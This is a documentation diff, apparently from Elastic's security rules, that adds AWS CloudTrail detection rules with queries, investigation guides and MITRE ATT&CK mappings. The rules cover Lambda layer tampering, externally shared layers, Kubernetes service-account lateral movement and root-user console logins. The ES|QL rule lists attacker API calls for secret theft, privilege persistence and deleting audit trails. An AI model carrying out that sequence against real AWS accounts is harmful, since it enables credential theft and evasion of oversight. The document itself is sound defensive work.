https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-layer-added-to-existing-function.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-layer-added-to-existing-function.asciidoc new file mode 100644 index 0000000000..ac04f12d2e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-layer-added-to-existing-function.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-aws-lambda-layer-added-to-existing-function]] +=== AWS Lambda Layer Added to Existing Function + +Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence +* https://docs.aws.amazon.com/lambda/latest/api/API_PublishLayerVersion.html +* https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda +* Tactic: Execution +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Layer Added to Existing Function* + + +Lambda layers introduce external code artifacts into a function’s runtime. Adding a layer to an existing Lambda function +modifies its execution environment and may allow an adversary to run arbitrary code, intercept data, or maintain +persistence without altering the function source itself. This detection highlights successful configuration updates using +`PublishLayerVersion*` or `UpdateFunctionConfiguration*`. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and the `access_key_id`. Determine whether the actor normally administers Lambda or has recently exhibited unusual behavior. + +**Review what was modified** +- Inspect `aws.cloudtrail.request_parameters` to identify which layer ARN was added, the function name and region, whether multiple layers were applied at once or in rapid succession. +- Compare the added layer version against known and approved layer catalogs. + +**Validate the operational context** +- Check the time of the update (`@timestamp`) to see if it aligns with known release pipelines or deployment windows and Normal working hours for the responsible team. +- Determine whether a CI/CD pipeline or IaC tool was expected to update this function. + +**Assess where the change came from** +- Review `source.ip` and `user_agent.original` for signs of console access from unusual locations, access via previously unused automation tools, suspicious programmatic access consistent with compromised keys. + +**Correlate with additional activity** +- Look for preceding or subsequent events such as: + - Creation of new Lambda layers (`PublishLayerVersion`). + - IAM role modifications affecting the Lambda function. + - Increased invocation volume or unusual invocation patterns after the layer addition. +- Search for other functions modified by the same actor or from the same IP. + + +*False positive analysis* + + +- Confirm whether the change aligns with a planned deployment, application update, or dependency upgrade. +- Determine whether the user or automation role commonly modifies Lambda function configurations. +- Validate the legitimacy of the added layer by checking internal documentation or release notes. + + +*Response and remediation* + + +- Remove or roll back the added layer if the modification appears unauthorized or suspicious. +- Review the layer contents, especially for newly published layers, to verify integrity and legitimacy. +- Investigate the IAM role or user responsible for the change and rotate compromised credentials if necessary. +- Tighten permissions by ensuring only approved roles can modify Lambda configurations or publish new layers. +- Implement monitoring for subsequent Lambda configuration changes, invocation anomalies caused by the injected layer, additional persistence techniques targeting serverless infrastructure. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: lambda.amazonaws.com + and event.outcome: success + and event.action: (PublishLayerVersion* or UpdateFunctionConfiguration*) + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-layer-shared-externally.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-layer-shared-externally.asciidoc new file mode 100644 index 0000000000..67338ee66a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-layer-shared-externally.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-lambda-layer-shared-externally]] +=== AWS Lambda Layer Shared Externally + +Identifies the modification of an AWS Lambda layer permission policy to grant another AWS account, an AWS Organization, or the public the ability to use a layer version. Lambda layers package code and dependencies that are loaded into the execution environment of any function that references them. Sharing a layer with an external account or with everyone can leak proprietary code or secrets bundled in the layer, and can serve as a supply-chain mechanism whereby downstream functions load attacker-influenced code. Layer sharing should be infrequent and deliberate, so newly granted external or public access warrants review. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/chapter-layers.html +* https://docs.aws.amazon.com/lambda/latest/api/API_AddLayerVersionPermission.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Layer Shared Externally* + + +AWS Lambda layers bundle code and dependencies that are loaded into the runtime of any function referencing them. `AddLayerVersionPermission` modifies a layer version's permission policy to allow another AWS account, an organization, or the public (`principal=*`) to use it. This can expose code or secrets contained in the layer and can act as a supply-chain vector for any function that consumes the layer. + +This rule detects successful `AddLayerVersionPermission` calls. Public grants (`principal=*`) are the highest concern; specific cross-account grants should be validated against approved sharing. + + +*Possible investigation steps* + + +- Inspect `aws.cloudtrail.request_parameters` for the `layerName`, version number, `action`, and the granted `principal` (a specific account id, an organization id, or `*` for public). +- Identify the actor in `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`, and review `source.ip` and `user_agent.original` to understand how the grant was made. +- Determine whether the layer contains sensitive code or secrets and whether external sharing was intended and approved. +- Identify which functions reference the layer and whether the grant could influence their runtime. +- Correlate with other activity by the same principal, such as layer publication (`PublishLayerVersion`) or function changes. + + +*False positive analysis* + + +- Shared utility layers distributed across an organization's accounts or to partners are a legitimate pattern. Confirm the grant is approved and exclude known distribution accounts or layers on `aws.cloudtrail.user_identity.arn` or the layer name after validation. + + +*Response and remediation* + + +- If the sharing is unauthorized, remove the layer permission (`RemoveLayerVersionPermission`) and rotate any secrets that may have been exposed in the layer. +- Review which accounts accessed or copied the layer while the grant was in place and assess potential exposure. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `lambda:AddLayerVersionPermission` to a small set of trusted roles. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/dg/chapter-layers.html[AWS Lambda layers] +- https://docs.aws.amazon.com/lambda/latest/api/API_AddLayerVersionPermission.html[AddLayerVersionPermission API] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "lambda.amazonaws.com" + and event.action: AddLayerVersionPermission* + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lateral-movement-from-kubernetes-sa-via-assumerolewithwebidentity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lateral-movement-from-kubernetes-sa-via-assumerolewithwebidentity.asciidoc new file mode 100644 index 0000000000..b0e71c0c27 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lateral-movement-from-kubernetes-sa-via-assumerolewithwebidentity.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-aws-lateral-movement-from-kubernetes-sa-via-assumerolewithwebidentity]] +=== AWS Lateral Movement from Kubernetes SA via AssumeRoleWithWebIdentity + +Detects when credentials issued through `AssumeRoleWithWebIdentity` for a Kubernetes service account identity are later used for several distinct AWS control-plane actions on the same session access key. Workloads that use EKS IAM Roles for Service Accounts routinely exchange a projected service-account token for short-lived IAM credentials; this rule highlights sessions where that exchange is followed by a spread of sensitive APIs—reconnaissance, secrets and parameter access, IAM changes, or compute creation—beyond what routine pod traffic usually shows. High-volume S3 object reads and writes are excluded from the correlation set to reduce noise from normal data-plane work. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html +* https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Discovery +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS IAM +* Service: AWS STS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lateral Movement from Kubernetes SA via AssumeRoleWithWebIdentity* + + +The rule output is already aggregated per session key. Start from **`aws.cloudtrail.user_identity.access_key_id`**, then +use the bundled fields to scope time, identity, and network context before drilling into raw CloudTrail. + +**What to review first** + +- **`Esql.first_seen` / `Esql.last_seen`**: time window for the whole session; pull raw CloudTrail for this key between + those timestamps and confirm ordering (assume before follow-ons). +- **`Esql.assume_count`**: should be at least 1; verify the assume row is `AssumeRoleWithWebIdentity` with a Kubernetes + service account in **`Esql.user_name_values`** (`system:serviceaccount:*`). +- **`Esql.post_exploit_count`**, **`Esql.event_action_values`**, **`Esql.attack_phases`**: which distinct APIs fired on the + same key; flag unexpected IAM, secrets, or `RunInstances` alongside recon. +- **`Esql.total_calls`**: volume beyond “three distinct actions”—helps separate quick probes from sustained abuse. +- **`source.ip`**, **`source.as.organization.name`**, **`Esql.user_agent_original_values`**: compare to known cluster egress, + NAT, or approved automation; divergent ASNs or clients can indicate token use off-cluster. + +**Next pivots** + +- In CloudTrail assume events for this key: role ARN, OIDC provider, and `sub` / `aud` in `request_parameters` and + `resources`. +- In Kubernetes: map `Esql.user_name_values` to namespace and workload; check audit logs around `Esql.first_seen` for + `exec`, secret reads, or new RBAC. + + +*False positive analysis* + + +- In-cluster operators (GitOps, scanners, backups) can still satisfy the distinct-action bar; validate workload image, + schedule, and approved IRSA role scope. +- Sessions that barely exceed the distinct-action threshold: use **`Esql.total_calls`** and IAM impact of + **`Esql.event_action_values`** to decide urgency. + + +*Response and remediation* + + +- Revoke or constrain the IAM role session; tighten OIDC trust conditions; rotate or patch the affected workload; reduce + service account permissions and egress where abuse is confirmed. + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html[IAM OIDC identity provider] +- https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html[EKS IAM roles for service accounts] +- https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html[AssumeRoleWithWebIdentity] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE (event.action == "AssumeRoleWithWebIdentity" AND user.name like "system:serviceaccount:*") + // S3 PutObject/GetObject is too common in legit pod SA behavior + OR (event.action IN ("ListBuckets", "DescribeInstances", "GetCallerIdentity", + "ListUsers", "ListRoles", "ListAttachedRolePolicies", "GetRolePolicy", + "GetSecretValue", "ListSecrets", + "GetParameters", "DescribeParameters", "ListKeys", "Decrypt", + "ListFunctions", "GetAuthorizationToken", + "SendCommand", "StartSession", + "CreateUser", "CreateAccessKey", "AttachRolePolicy", "CreateRole", + "PutRolePolicy", "UpdateAssumeRolePolicy", + "UpdateFunctionCode", "UpdateFunctionConfiguration", "ModifyInstanceAttribute", + "StopLogging", "DeleteTrail") + AND aws.cloudtrail.user_identity.type == "AssumedRole") +| GROK aws.cloudtrail.response_elements "accessKeyId=%{NOTSPACE:issued_key_id}," +| EVAL access_key = COALESCE(issued_key_id, aws.cloudtrail.user_identity.access_key_id) +| EVAL is_assume = CASE(event.action == "AssumeRoleWithWebIdentity", 1, 0) +| EVAL is_post_exploit = CASE(event.action != "AssumeRoleWithWebIdentity", 1, 0) +| EVAL phase = CASE( + event.action == "AssumeRoleWithWebIdentity", "initial_access", + event.action IN ("ListBuckets", "DescribeInstances", "ListUsers", "ListRoles", + "GetCallerIdentity", "ListAttachedRolePolicies", "GetRolePolicy", + "ListFunctions"), "recon", + event.action IN ("GetSecretValue", "ListSecrets", "GetParameters", + "GetAuthorizationToken", "Decrypt"), "credential_access", + event.action IN ("SendCommand", "StartSession"), "lateral_movement", + event.action IN ("CreateUser", "CreateAccessKey", "AttachRolePolicy", + "CreateRole", "PutRolePolicy", "UpdateAssumeRolePolicy", + "UpdateFunctionCode", "UpdateFunctionConfiguration", + "ModifyInstanceAttribute"), "persistence", + event.action IN ("StopLogging", "DeleteTrail"), "defense_evasion" + ) +| STATS + Esql.assume_count = SUM(is_assume), + Esql.post_exploit_count = COUNT_DISTINCT(event.action), + Esql.attack_phases = VALUES(phase), + Esql.event_action_values = VALUES(event.action), + Esql.user_name_values = VALUES(user.name), + Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.total_calls = COUNT(*) + BY access_key, source.ip, source.`as`.number, source.`as`.organization.name +| WHERE access_key is not null and Esql.assume_count >= 1 AND Esql.post_exploit_count >= 3 +| EVAL aws.cloudtrail.user_identity.access_key_id = MV_FIRST(access_key) +| KEEP aws.cloudtrail.user_identity.access_key_id, source.ip, source.`as`.number, source.`as`.organization.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-management-console-brute-force-of-root-user-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-management-console-brute-force-of-root-user-identity.asciidoc new file mode 100644 index 0000000000..47e314e0d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-management-console-brute-force-of-root-user-identity.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-aws-management-console-brute-force-of-root-user-identity]] +=== AWS Management Console Brute Force of Root User Identity + +Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services and resources for the AWS account. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Brute Force +* Rule Type: Threshold +* Platform: AWS +* Data Source: AWS CloudTrail + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Management Console Brute Force of Root User Identity* + + +The AWS Management Console provides a web interface for managing AWS resources. Because the root user has unrestricted privileges, repeated failed console login attempts targeting this identity represent a high-risk credential access event. Even if no login succeeded, this activity may indicate reconnaissance, password spraying, or credential stuffing attempts targeting the root user. + +This rule uses a threshold rule that detects a high number of failed `ConsoleLogin` events (`event.outcom: failure` with `userIdentity.type: Root`) within a short timeframe from the same IP address or user agent. +Threshold rules only summarize grouped field values, so analysts must use timeline to review the actual events that triggered the alert. + + +*Possible investigation steps* + + +- **Review in Timeline.** + Open the alert and *Investigate in timeline* to view the individual CloudTrail events contributing to the threshold alert. Review: + - `source.ip`, `user_agent.original`, `geo fields` and `@timestamp` for each failure. + - Look for patterns such as distributed sources or repeated retries at consistent intervals. + - Look for any corresponding successful `ConsoleLogin` events around the same timeframe from the same IP or agent. + +- **Assess IP reputation and geolocation.** + Use IP intelligence tools to evaluate whether the source addresses belong to known cloud providers, TOR nodes, or foreign regions outside your normal operations. + - Correlate against `cloud.region` and `geo fields` and compare with expected login locations for your organization. + +- **Check for related activity.** + Review CloudTrail for other API calls from the same source IP (for example, `GetSessionToken`, `AssumeRole`, or `ListUsers`) that may indicate scripted credential testing or discovery. + +- **Correlate with GuardDuty findings.** + GuardDuty may raise complementary findings for anomalous console login behavior or brute force attempts. Review recent GuardDuty and AWS Config alerts for the same timeframe. + +- **Determine business context.** + Confirm whether the source IPs are internal (for example, corporate VPN, IT admin network) or part of legitimate red-team or third-party testing. If uncertain, treat as suspicious. + + +*False positive analysis* + + +- **Forgotten or mistyped credentials.** + Repeated failed logins from known internal IPs could indicate a legitimate user typing errors. Validate by checking if a successful root login followed soon after. +- **Automation or scanners.** + Misconfigured monitoring tools or old browser sessions attempting to reuse cached credentials may trigger this rule. +- **Planned penetration testing.** + Red-team or security testing activities can generate deliberate brute force attempts. Verify via ticketing or testing schedules. + + +*Response and remediation* + + +> The AWS Incident Response Playbooks classify root login attempts as Priority-1 credential compromise events. +> Follow these steps whether or not your organization has a formal IR team. + +**Immediate containment** +- **Check for success.** + After pivoting to Timeline, confirm whether any `ConsoleLogin` events from the same IP or user agent show `event.oucome: success`. + - If a successful login occurred, immediately follow the *AWS Management Console Root Login* rule investigation guide. +- **Rotate the root password.** + Use AWS’s password reset function to set a strong, unique password stored in an offline vault. +- **Enable or verify Multi-Factor Authentication (MFA)** on the root account. If MFA was already configured, review the device registration for changes or suspicious resets. +- **Block offending IPs or networks.** + Use AWS WAF, VPC network ACLs, or Security Groups to temporarily block the IPs used in the failed attempts. +- **Alert internal teams.** + Notify your security operations or cloud governance teams of the brute force pattern and actions taken. + +**Evidence preservation** +- Export all failed `ConsoleLogin` events visible in Timeline (±30 minutes around the alert window) to a restricted evidence bucket. +- Preserve GuardDuty findings, AWS Config history, and CloudTrail logs for the same timeframe for further analysis. + +**Scoping and investigation** +- Query CloudTrail across other AWS accounts and regions for additional failed or successful `ConsoleLogin` events from the same IPs. +- Check IAM activity for simultaneous key creation, role modifications, or new users — signs of lateral or parallel intrusion attempts. +- Review network telemetry (VPC Flow Logs, CloudFront, WAF) to determine whether the activity originated from a distributed or scripted attack pattern. + +**Recovery and hardening** +- Confirm MFA is enabled and enforced on the root account. +- Remove any root access keys (none should exist under normal security posture). +- Enable organization-wide CloudTrail, GuardDuty, and Security Hub across all regions. +- Set up real-time alerts for any future `ConsoleLogin` failures from the root user exceeding expected baselines. +- Store root credentials offline with dual-custody and document controlled access procedures. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS IR Playbooks]:** See “Credential Compromise” and “Account Compromise” for investigation, containment, and escalation guidance. +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]:** Reference runbooks for failed-login response, evidence preservation, and MFA enforcement. +- **AWS Documentation:** https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root[Tasks that require the root user]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:ConsoleLogin and +aws.cloudtrail.user_identity.type:Root and +event.outcome:failure + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-management-console-root-login.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-management-console-root-login.asciidoc new file mode 100644 index 0000000000..04934aea54 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-management-console-root-login.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-aws-management-console-root-login]] +=== AWS Management Console Root Login + +Identifies a successful login to the AWS Management Console by the Root user. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Privilege Escalation +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Management Console Root Login* + + +The AWS root user is the original identity with unrestricted privileges over every resource in the account. Because it bypasses IAM boundaries and carries irreversible privileges, any successful root console login should be treated as a critical security event. AWS explicitly recommends locking away the root credentials and only using them for a small number of account-level administrative tasks (for example, closing an account, modifying support plans, or restoring MFA). See https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root[Tasks that require the root user]. + +This rule detects a successful AWS Management Console login by the root user (`ConsoleLogin` events with `userIdentity.type: Root` and `event.outcome: Success`). + + +*Possible investigation steps* + + +- **Confirm legitimacy.** + Contact the designated root credential custodian or account owner to verify whether this login was expected and approved. Root access should only occur under documented change-control conditions. + +- **Review contextual event details.** + Examine the CloudTrail fields in the alert: + - `source.ip` – does it match known corporate IPs or expected admin VPNs? + - `user_agent.original` – browser or automation? + - `geo fields` – consistent with normal operations? + - `@timestamp` – within a planned maintenance window? + +- **Check for prior or subsequent root activity.** + Query CloudTrail for the last 30–90 days for any other root logins or root-initiated API calls. Multiple or recent root logins can indicate credential misuse. + +- **Correlate follow-on actions.** + Look for risky API calls immediately after the login, such as: + - `CreateUser`, `CreateAccessKey`, `AttachRolePolicy`, `PutBucketPolicy`, `UpdateAssumeRolePolicy`, `DeleteTrail`, or `StopLogging`. + These actions may indicate persistence or cover-up attempts. + +- **Cross-account verification.** + If the root user is federated through AWS Organizations or linked accounts, confirm no simultaneous logins occurred elsewhere. + + +*False positive analysis* + + +- **Planned administrative actions.** + Some rare maintenance tasks require root credentials (for example, payment method updates). If the login aligns with documented change control and was performed using MFA by the approved owner, the alert can be closed as benign. +- **Third-party managed account scenarios.** + Managed service providers may log in as root during onboarding or support activities. Confirm via ticketing or contractual documentation. + + +*Response and remediation* + + +**Immediate verification and containment** +- If the login was not authorized or cannot be confirmed quickly: + - Reset the root password using the AWS Management Console. + - Rotate or remove any root access keys (root keys should normally not exist). + - Ensure MFA is enabled and enforced on the root account. + - Notify your security operations or cloud governance team. + +**Evidence preservation** +- Export the alert’s CloudTrail record and all subsequent events for 1 hour after the login. + Store them in a restricted, immutable S3 evidence bucket. +- Retain related GuardDuty findings, AWS Config history, and CloudTrail logs for the same period. + +**Scope and investigation** +- Review additional events under the same `source.ip` to detect resource creation, IAM changes, or billing actions. +- Inspect newly created users, roles, or keys since the login time to identify potential persistence mechanisms. +- Check for any disabled or deleted CloudTrail trails, Security Hub findings suppression, or logging configuration changes. + +**Recovery and hardening** +- Confirm MFA is working and only the authorized owner can access the root credentials. +- Store root credentials in an offline vault under dual-custody control. +- Enable organization-wide CloudTrail, GuardDuty, and Security Hub across all regions. +- Implement policy and automation to alert on any future `userIdentity.type: Root` logins in real time. +- Conduct a short post-incident review to update root-access procedures and reinforce least-privilege IAM practices. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS IR Playbooks]:** See “Account Compromise” and “Credential Compromise” playbooks for containment and recovery procedures. +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]:** Reference “Account Access Investigation” for evidence handling and credential rotation steps. +- **AWS Documentation:** https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root[Tasks that require the root user]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:ConsoleLogin and +aws.cloudtrail.user_identity.type:Root and +event.outcome:success + 